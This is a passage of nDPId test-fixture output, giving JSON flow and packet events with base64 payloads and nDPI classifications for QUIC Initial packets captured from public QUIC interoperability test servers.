{"client_requested_server_name":"h3.stammw.eu","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":18,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1603816434569,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"131.159.24.198","src_port":34511,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02107{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":569249,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAabBAAEARba\/AqAGAg58YxobPAbsE7IX8wwoKCgoIJv2XczUh4RIAAETSRoJYBYOeas73v5N6JeGR+D4vrTXWLHahs6zbYN2PSmfpsY6grm3D0Rg\/JjEbEbWdaTF+lx2JzZ6OUYarkFy+115N6m1b7gQSj030Q3\/SM1TNZj\/nSEEyPzf0GDxqQj4+nZP7WMShjiYRdKzXBQdLzKvZT8hwnZ4oB99gppgeNELMhqdd1SySqMlsoa6maZtwfk3WBUm6ygdONT8WTBN7k1sBIrC8taS2In6WoqpYjWgCgSqLDUPElTi6Wlu3qxPK0L89RJAyo7d95jjEyHvPN8tIah5cWcQDYEYe4huV1Wk4ReHtQlciAzAXks6By4Kk0EH6V\/vjIC8b6b+cCLYGgbSpy+UnT\/8ZA\/UQuk7xfmOopsc1Y98fvndGTrq5RKwehvcBoo5Mn7MwglvspnL5JNC3Wm1g6bxDaeVst7hRZBFiDlhiYaQ0Ab6hTr1EJaOuADWqvlem+VI3ScFJxVtLzW45MMzPqLsgDN0nwzvC5MgRoNBFenkwFuOGJL3cuoRXUyC3LM81pQYUYluofbI7QpbP2iRSlWRlGLd+f8zLs+KcyeL5yNSmFslj7bzWf\/JF6mVv58XYK55HQs40V9rrlz7Nj\/WpjPtqqYZhJzg0gyU\/lbPd8kQLgVED59ItVwC3fIrmrMfcRnaanuGrvWgwIdywVEgwonSypaCKhJxenk3liQiSK4PIyLjElDxx0+CyQwtFMw0J6Rd2Mh0rRN9Qg6bbB+l+1HBn2AZjjpQRkF3k+wmrwQ3tlFWbURiRza9xq8onWimWZ4E80sO2DhLrdh5rcVJQeQt4rdLXRJq+nwgrsVxBbz2\/q8\/SLYx1O2bZBHh\/9BOOD1ryspmCVDPmvYwFGBraeD2+NW89wNvReyoP3HK0rCJ\/kri1cIGHbCcj++dh0yrqPt7Tf\/h83mJX2ClPu+4JxyyaiUh6X8GxTD5uMA+60fYmu+ll1hlhETX4lTtQ\/kXioQnJXjK9uS5\/mUX\/uGF7bLIle1fQUQwXMiKDhED8bldaUYDhxS5xaoXVFHYCkZD1G0bx4wNv8Yb\/Z6CBWe+ohQSURy647CyvtGSWeEchDWk746VaGkX3lxlsbKJKHBhqx7ONQcIFzj1Uy1jMc0AJU7zrl2kD8zQXmaNY4cUoA+GXy043sC2xwegQudxFTao\/gdfkQ\/q1NCe\/ml37Rl6EO3X3l9xGK4gSgGFs8v4x6Cb5DrR4JVJ5cHHSfWZa9UBPO1JdiEg8\/VX\/TMt1fQN+ReU4W02BaESJr6JTbZ2z47SHhCBYG6zwySaG7Lw65ubXXruEdd1pYjzU7fMm7oTz8Lh\/jPP1IP0yMSfVCRBlQiy9xU4NDYENzi1wl4tIvdERDQbkkbp0nWFv+lt+bkws2Q1vZy+gP3OrU8l5zDk0wZvYK1K+G1iWmyU8uDxuww\/HPy3G9m9DbYJTtzjTkrnXSnww3izdOvRZeolPfe0Z6lcnGUQ1\/j4+H4gBCwQLWrpcyqpCaXzS0ah6Mc6s8FdIMqnxX4rU8rBpXWoJ14XtBm3Uyy1wVEeRuIc4t8D3Za5OjHN5cGk13mZGhzHFhggCcpbM8VxO4s5FnO5gkpIVe3rp914hsLEJPh7ThKO5jLy2z2hTqHf5sMr6xpDc+5DzcXLzyMz+du5WiB2vEQ=="} +00738{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":18,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1603816434569,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"131.159.24.198","src_port":34511,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"pandora.cm.in.tum.de","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":19,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1603816434582,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"51.158.105.98","src_port":51887,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02109{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":582773,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAoSJAAEARNaLAqAGAM55pYsqvAbsE7MzswgoKCgoIEaz1Ap+9VxAAAETSW+W4muYv+Ex5TDdhGEEgn\/uAu0qlojP\/J9hIDPqzwz+JlTXFPtSI+aiI+wxPcULAye6UrinGUUzBJN9cIkelzrXiONFE9BjSvgDnaRECpumembikZ2HAk2TZWGNiHThAH4BNmcORyySVZrHBrWfpgdT2X+HBd1V9EwlFlpGOWc1WMXNhMkNYXVupHdH7xVbTBo5OLCElubCjSPLQcYjGtGeLSII96GmgvBOPIrvVPJlrK82HF20a9nNNukdp4BPXnL8I2t+rb0dK\/ghu8TRSa3A+cCR\/8rWbZqaii1OpbuZnQ1EcUrceIDrLKjGsVgpT38KpctLTQ\/LEEVi9cgfwkd28yGJ\/sRbZDa9nN\/DCQk\/CQdVd36eB9jrAYsgu00NdXaK8a13Lde68fZxyZAQpIVnvcfH2Id0GXqqN8JhGEanp74gRCpI27i8iPAmsd3UMjsAW4\/kdVXe3S7CJE2WY0tiD\/+JDxJcFk5llcTgkntKqmYbhPxvEadncEKOIQWKyGQzjDvwSwmig63\/L5G76ukNd5cXQMQN9y+ZTvw7kwrdSXrlmPNlCnkDTwHvC5AJ3k2x4xqqQ\/iNrJ0ZPKJa+ZbSaagf+oOqskwf4MMNjZMwfufWkri43N+eDbtXKbCXPhtUVj407PdHTmzDQCEhc\/2YUIpKa27K6uS7hywCslRzTmpBr7JTDvB08\/wQc36h91hA\/Pk+QFTxQ3jSb17rPzZignHJ8+ktxWDlqgmNhirOBTFHrKKKxFfj7Zd\/VdS2hwqNZRHNiT\/rt9McdxnGuTtU3Je9EyeeJmZRmMe\/caGlDh5g04pl8F7+Oo1btWtTbgaTib8s1bb7OqyePGSaVywbgEE2DT8hSkw\/0V9rX3HxqWWKlm3Q6KLMIO4x9UT+hK9EjaTbVO3sb7ntSBtUvWM69geB7FjBtVEq\/e9xSbiiqRGEZN8fX\/2BZdK\/e7OiNqVv+75BROBKhr8CroCTuIcvBAJsteqOP53Z29BgiPdg5qdLysu2zuT3+eDoL1SSxZ3XRR5bynYqVXOHT9L+i9E\/4kNKasvWdlomwsUZBUHLlgPk6bGw4Ne65krgmZRjBxl36YGLw6+sfkjJoh7npwlPGVTMi0to4OLfQHhGF0beq1Uwve8Fq1vubD4YPVoyRUfwB7pZiGZlefHURnSMLZuwlS26beylIwMqP26dsDx7\/clmOwL44sg6\/0wzyXIpZINxypwBzbjs9d0tlnjJXwUYRy9QmD0slTxEyxrjpBtheiCMc4Cn\/6vmy83GYsYqAPaHjYm5Lm9bkw2mDchmuHIE33cyYUc9fwTe495DLrhWVEzAWbCKPviregmjAsH4m0iA+u4W5k31m1AmJpuBDrgjPUcXL4i82zhjeL+h12K6gteHYqwX7EOPhQ+bRm3SKhW2iyandNBDGKMy2kYZB+kl96lTKXHy42WcNsjGKMfUP9vZVhz0rZo8wSdI7knLcO6jiMKqrsnoCOre5s3EnkzOjTGJOpVTbDAlyOIrVY0\/12bwxq500zdJS7Tqi8Od4Mv0jxABBtbfjE3S4PoXY6OYUNPBVH\/C3Jt3XbMm8PyemuOM8gg2u\/LJT60w1swKGZ4faRilJPXx5ej4jCKtVtArI1E1I5haUgoGSnYETrYiEWQ=="} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":19,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1603816434582,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"51.158.105.98","src_port":51887,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.seemann.io","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":20,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1603816434584,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"18.189.84.245","src_port":43475,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02106{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":584609,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAXS5AAEARruTAqAGAEr1U9anTEVEE7CkgygoKCgoI3rE9GgKLpyEAAETS2D6FRkK87MNUIcKb45nDQXK7RIhN5jovTQDmFSK2M6QiVZpJOUYoJlkltsOnfd\/1F6U4IQkpFe+m1uV4F6oBz4RBkNPAAuUUBMdDtca4r1A9a73h9DF0dBCYcXkZBvDtL9wCuog66vADNiZMmDEEKyoT8ED6s88IFRXJtbENfR6cs0sHtB4WxRNwLE2yoS5jEYyQtDPhxoDW6y1RUStChGv8HnP3XMM2t\/jLHE+oLZ20Uei8+UFfPk0e8A5VrXwIo9k4jCJsPG1mMTDbv0YDgoPfvTmJTVTIw4QonxYS\/rk7SadZEeONmPaR6TtoWts1FnzUvtWOpV+5Dad83KsfG90X\/CIt\/vwYmyVKvj4VgDM6Pr4H+Uc\/bvz0KjdGW3xm9YMUTlsbI5ol2Pfvu52tXEEWdRjKK8g6DND8ZlC7aMVgSCICn0NKoRloC6NcE8Rw5LJBhOhPXDDbCt20z0FHuqxH9Vx85YXc89Y9JZS\/xEo6rLepUNAZyK4VZC62QFOzsGL6Lx8wSrVduZKsiJBZ4c3ThpGGJ+vaMWABr4\/cWq95Q7ZzLSuvRsXOk+j1He6DsUvm3J+RmjmrwYFgt\/M4CICjBS0Fm10ECgKhrWwd3J2E54DK4DKQ3EUyd3bjdTDHFVk2++CCDGOxGq+7NMa3RFtYVeMobAS4ZjFwkv3BS0m0bobUjHhoVD1GCqa6cx2A4+lBUsOhUXvuodo95jKqOaTXUqsvEaXzN3L7b43PXMpLAq+LaQ7Vzd1FgcpeaZ20BnyGL81mPGhvhcnQeusPeZeeqS6zV1B7OHOYc65wKxzUbYn1EC28EGygmnjZWc0jy2pYGDmTX7nQGQSjnYxGUcUGQPhaCfOeI1ggQvzjjmgpCyBH7XX3wXAV\/IVyilSo0omRqkl\/bMhBxO5UlcQB3HAXvh7\/CW9oHeT1wKQ3fB\/HEa9yU72ZB7d6KVeVKjZq17j4ybQ\/1ggtHYGp2pcGrXZzRwYjOkAZ0Opiy89watoyLGRmGLgTFsDl3McdaMNDx+9v81zsdMOm7BtAMYT6tRwsjrRofdkZ0fVa+YwJIBwtAhT8ajDn7UeBBPGRi94tJDcKF6j4s8my9KviboSu2mxdTOGQO7LtRIaKMRxlUFMtCi42onUa0qPaP+\/X0ttI9DVmM3lXTbZz7zAPwnKTDbrTvlsXFf+fb69MdPyK+0ZKLVzYuN6Rage1Taxjdnuj4OAM\/zUBa3m3soYXUIDBjkGYI3RorjKOgin\/VL4DsoJChrJPR888h8Xk\/IbBDawgJWzXLfoKqwSjYoA5BJLar1\/dem1\/5+HxdBDknyqV+PU2P2vYp8hNcb6mnUzN837UGUuA4NsueZUnc6zYaSL6DRRgrjjKhF6Tz\/MDuOVmRVnM76clbdBfnFUZ6P1n46WbYwkc\/I8+JIV6\/IqS+DjXGRm3N0QevTA6r\/68gEOcX6irDxw4FjiTMIU+OFUnGh6WsbCgi8K5SeV1kRKBmc\/TSum+LmX9s3PKC6cu25aK8beNwOxmv\/gY54CIgRosYlyDeYbWJdPZtKjt0TZLq4wV7HN+8OtqvsSQLBG9tsFDIGXLerkJmoKCBPMmTv62Jjm9BtEc0eZuVqDPUnoU+YqxHdkhj9bAhq0W1dwrlRBuS8N9Rw=="} +00730{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":20,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1603816434584,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"18.189.84.245","src_port":43475,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"fb.mvfst.net","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00495{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":21,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1603816434585,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"133.242.206.244","src_port":49151,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02109{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":585935,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAgstAAEARnBLAqAGAhfLO9L\/\/EVEE7M7UxwoKCgoIFbSGVwPjC1AAAETSjkROzIIp8CK\/caOuFZYAfK1aOEqO4JwTw9D7z+uUbIBTx\/XH4yTcUJ1GJ5nL+Agpz8kkGqy7oh35jkjpRQSyzT2NyzB2NTBiZzOgYyNio+jROASCrTsvFc3Z7POk+A3z6nh\/zFa0LHBvwlp+McgWNFYpnLkD+S13ugMu2uizXqCPOTgA3G6sIsESNefWZzgDU6TE0Fie6rZUHLpsGk6\/rXINEPxgL\/9wq34N4qUhpvbCKjEq66pMlprpty+OzFobGyzV+ZfKcjfk9heS8\/Ktv46aaw96hlXnUfPZHMbA+CWsmthusRBP+K8uIWlnTbdNz9Rfn\/rIR1WmSXPxGkt7FVroGfbPWNtXVz4++NucTI\/gHddPWrZHVTxmD4eDZ+gEpCk9qXs4vIQRkuhhDT7KtsO5OQlx0LGSyxQmka20y1oOk5gC3euqSWQvmM8esR3UL4VI1v9ztMr8LjMn0OiMu95CEowBICOANwFprI0fObMHGsulwe5nvslar15BxrnmzEPNZiHa\/I2lrJGnez3fp4uBPMNgkQPccWwS7tSftVUqukoIkaMMDDugrSYQ99AP2nblRffqf3JA4AsmJuPW0X7qs\/Byp3V6ceyok7YXbgcjlYcvQaIYY\/lxFpek3Nn6KNssLG1fs0ok3z4gezAdPzCDxhvWVe5HYAr1IFeRj3nq\/RPsEA6C4W+4l7Yb2Q+t\/rGxDvAreWu6lw7r0fJV+s3RVQJy+tEW28PRfLsTsQmCiDcS3zHb84scMnkwv5bvftQiTHPxbXfuzIT64fpwltpQEBi3fJ3wBTXCGnFFnw7Nsf4\/JCCbl8lJDqInzgCs+\/Y\/bv7BFYE5WwvyQhhVAkY54ihB2e1U2DYdn7Zqiluxkz6gTqo9t0goC9XZwhqTLhcNfKD0XB23eFaY3KoEPWuPes1Ne6OhOBQfjbGBHAapLo8KpRyV6yba5+B3oKegQAyfeyrNROon4pshqrtlR67NkthaTNhbaMWzCPQYQ69NKAHv4GZAavtCgzoyw0xfFk74LvRxAfWd5OtjPWFSoU9lQ+1mdU\/bOKC6O4VAOilWKe6QbrEStrVui1p\/aQNyqAYvjHwGeocuQw5Apru2zL4CCg9jzkD4KS\/jN+UCk46yLdkn5Ubz2Y\/4Tqj5walihAnanr74XvviJcs00s6SbGZQRIQnGnA5QboJY2HvdZJa5px5WoWlaAtRNSjKOb8VqvcsOTB2gm51ybY2P8hwH3e8MTnT6NSTQUYxd9MKuGbtBlaY4If+PpqrBCmLTLCDHV17kk1VWuNwxmBudJ5goE4YQONWMQUK3S3Ul6LG6ZXlHy88HhO5x8L0R8jS+WOFGP6zSoYvhB8OXq99sB9qjRABZmtgMm6tlllhZ6+KyV6yl0udz2oNhS2Hk09RxStU8\/YuG1qMWFdf1q4PbwgPZ\/SEU8YEQ\/gK\/b3lzjqtkntdDToIJ29938u4+Oea0Z6Ovn9IPTGyjlhkBTrCdjCsinWeEj2Cr6kqLjEOPd09mljIQf3aovLDbm2AUoZWafgLqoeW0JnEY2b\/2gwE5NpGc2iu38L1nWR8EcAN\/w88hux95l3UfaGjHKlj3FFO34BXqnrmch2I8X4qZ\/Xqx0WznIwTUj71m8E95Pb58bFksDsyDw=="} +00735{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":21,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1603816434585,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"133.242.206.244","src_port":49151,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"h2o.examp1e.net","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00542{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":22,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1603816434586,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2a05:d018:ce9:8100:cd2a:e2fd:b3be:c5ab","src_port":39945,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02109{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":586380,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gDM4pBNgRQCABCwcKydWupNP+R2kegH0qBdAYDOmBAM0q4v2zvsWrnAkRUQTYkaDFCgoKCghrDAA38OgwkgAARL4V7fWqJD97ugGiMo3hEbsI2+6\/SpwaiwHfJYhBwe8nlBeC2wTuSe5rZV7amDM9N\/ui5SRbMnMa4jgRbgv6T7FxocLh78\/\/47xNpYbQ5OnVlvNw6YvcG6V3D9lglGS7SGlN5I9EKjcJ6eJNC\/yHA+fna1KNRS6W4dCmPZfMeeRKhPbnKLP\/zD\/hQ9u8WpY9sQzK7DxdC06QgW5OFPLciatcrURwr8u743b7gflxyjWj2XMTb8+OZThPj0RJwH3mLn1aP+ys3uq61x1VUHQw18JbP+jOhfjr5+O\/DOmynEaj9yDtlT8pCQmkvZjKW+qGdVHgPAjMhELPJZM+CKVtQWm40oviKQmQrLioe2xR08VjBsCQ33vDOtlEGlAArjadOrMBFc2+XUcBiGRd32aXmUR89tCzI1B+GouNtIblHFiotduRGiNABGg+3Qc29eltQIl3PdSG\/mv6xeCbqRlmFNb1hZDT0EPrntyPIWcXzd7I6R9yH\/OcuERuArM+R4UUu7HVGq3VOIpyJl\/8vVA0PxAitJPE3y7Z8KBR5Uk9ypmv2LBTFbQqleqxK9NsAkl7SzAMl4vTV6UfLWkE4v+lvbSNEQ+7\/h05HZdmM+ow0IuI\/BgPpOsDVtV1aa5VzDkkk9VWQdMUFySvpiE3OHVn9TUuuM9z5aYjx1qv5iZjNaxwGxQ2y+LC+sSOXYRfbtK34ZuCzCSfwzTrrGUTngeMOBfoZ0Xj\/ocEK17WUvslg9MAtjR1Gt3CBgVFOL0OMDBH4AMY+AhGxe0SgGsm9XvIgfhBa9vjDgpW2bJ0dEWPHP5qrAgfuKrrDizOESiLnlVMmMFXOgizTrGewuj0m\/x9ORClQAI0lFK+zVYRJsDUDjl8s8kMpL4rhzj3idhtdVWCdH8wFTr8WuyJ56hOdItfnc01ZNE8WReW4m6xZikAeggNMeWiKtQq+jfhT6qhFmDdif53uwIz3lMDO2crL14B2fVYDgPMUN05glordSj1PZRZS0OPJgjhG1Hs262PpADEzmqa1d8PWOn7489KV\/wKRhTXTO8HK3lkd68JU4rMEIXRiF4qH\/eZSGMgWSgdLEk9Ag7IV4F4aQpdDeOkRKGB\/bEnoIBfiBauwiLbdlgdD\/c47VmgQoRcvQk5GsUx0U0+wFCL\/ZkzcmI3DYCHTfNkG2aEAA+xvCWzWICgkMC5+W19MUzCoMuKizeg1ma9CdQgrL4sjg3iELKoYVCphaaL\/n3OYJYWvTTKTbT6OOq7SWtEDlUmidq13+s7Sl3Yj+afjtbetPkC\/8CAhhTxZQSPMQ1Ni1uSCgMYa8Y4VkddiZbjqAaSZzKfWrctUQrKqIadtSGNHtMQqjpEIWiMo8o\/UgBofbs5Kg3B8jC+JxO7Ld\/FGGhuabdGKUSF\/ZtUgLnPcGEW5kKFktT1D6fxQMfKzarearkPRdC9eF2UogCyGsrOxI\/GFB3vpOggGgWFiIo78PmOU0twqHHZC0t0srjfWKBrf\/fzPkN55ufN73EVurA0pU1TeEWhtid5II3hk9ekWAYMe+fHTtyW461m2tjhK9mczMG6wWszN2qKL3rLagh+IX9s8CJGYkrmfOhgpW1AdBPHq6OvvD7s1\/95DBb3hQ=="} +00782{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":22,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1603816434586,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2a05:d018:ce9:8100:cd2a:e2fd:b3be:c5ab","src_port":39945,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.aiortc.org","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00537{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1603816434586,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:19f0:5:c21:5400:1ff:fe33:3b96","src_port":39624,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02106{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":586718,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gAlC2BNgRQCABCwcKydWupNP+R2kegH0gARnwAAUMIVQAAf\/+MzuWmsgBuwTYjDrICgoKCgjzgkejWnQFTwAARL7AEcGzrGiFbLDVVitPMjpX6T6us8klH0LZdsk33gK4kca790hWc9lEqiHw2zuG3cvmTx4edwCefhx9uVFQHbwCX7OdVaAKALQsTDf2esUnZnHqAVwqfHs0alGH87lg8LOQYMLCyJ5o4796Hi54oLNHvp1iBOlawAP1QQwkOrhTac81Z\/3lqw5txy4fqI2ulRUcc8HMVbAvriqgCRBafLPQysmCOVqjinACocPdi0ZP1pUx0qn0+kKcTF+7gFuANdSw5ZrXDF5v6YKUxiJ6vSw8Hy7vrpHpUiN+5fprlESKduOvuve2w8S0Rn1T\/QCLnqgsvW4zVX2obPqKMBoLM0FaRFm0tupv3jD2Bo6wMhEP7UVS6LQVCbX\/F5hZ42FQPL174ha0Yjp7fot\/ow92n0s8sDYpXdyVzzUtmI9H59mtClZBkXIm4hCy5YwKUBE5Htf0HL6v7tX\/C56I4bHgjD1kXDqKwEusnGxfxLkbm5cB84\/UPVfX54l5AlcUWrKt\/sWPHXza3lrXmjl3iKLayJGvSvxgwAyLdj+1dAf2mHjT3T9ZeLg4TPyNz17SLyKDROZpbuZtC2zCbnl+NoReuXxIIu553FeA7K1Fq06E+HYHhMw9+fWseAQfiQhoIBqlHGL+6zzFwJx8LqsX2kF9IlqJJkfGxh2dCK8J4o5uVhtnU3J2xj0GDXLtBrNSCk7DDd67hChkNkJ\/zra77RGExcKdo9KUDUUYykOLFAbdNAsP9djZJfE2+FIW26Q0ve6PvxjGma3cI1DAbfodw3x7gmpMenGXbAesto3GigfY8Dqk5DyVN2us4Q8jxijjrwa1uGb6WCWFIbPGsRxa2EtoUIAHsP\/pagnvZR1tK2myhxOFZczPeNlpxk1o3SOIXdZrMfCNqe8UgV89dZHklMi3hgQCyoO5n2p9n2UNtckDsulzdkWAkN7ELjfKSw3xLKX8QYYwRNZkrnslYV\/gNUyPn\/DAHxcrYsCggnVPpcMfjQHnjiySyU7agWUfxfnrK5KR0Hz1uxcerQD9r2dHrU5GwRgAJqiERgTrm61j0\/9g6EnJzaJxnY2YL\/8StPHOT4TbswEzgPxmOMhq3B3NyVJmRRvGKyoWosF33+eeRJZtqDmGzt7Y\/QslvmPGsoNyGhIfWD4qHCWm8JN2zWi8NKuiyFpgsC\/gseqp2COjYeHLzTsHE8Lb24ziOBbxiS8nhlUeyvkTXTnPgtpZev\/ducm+wW0A+YY2gp+9vovT+lMYKPoIIeW89qmvsTK34QrhAHBV8Gdi7IG6oE67NdkIrFleG4EtBQyuNTVG\/Hni6IlsFEhmcMOi9gt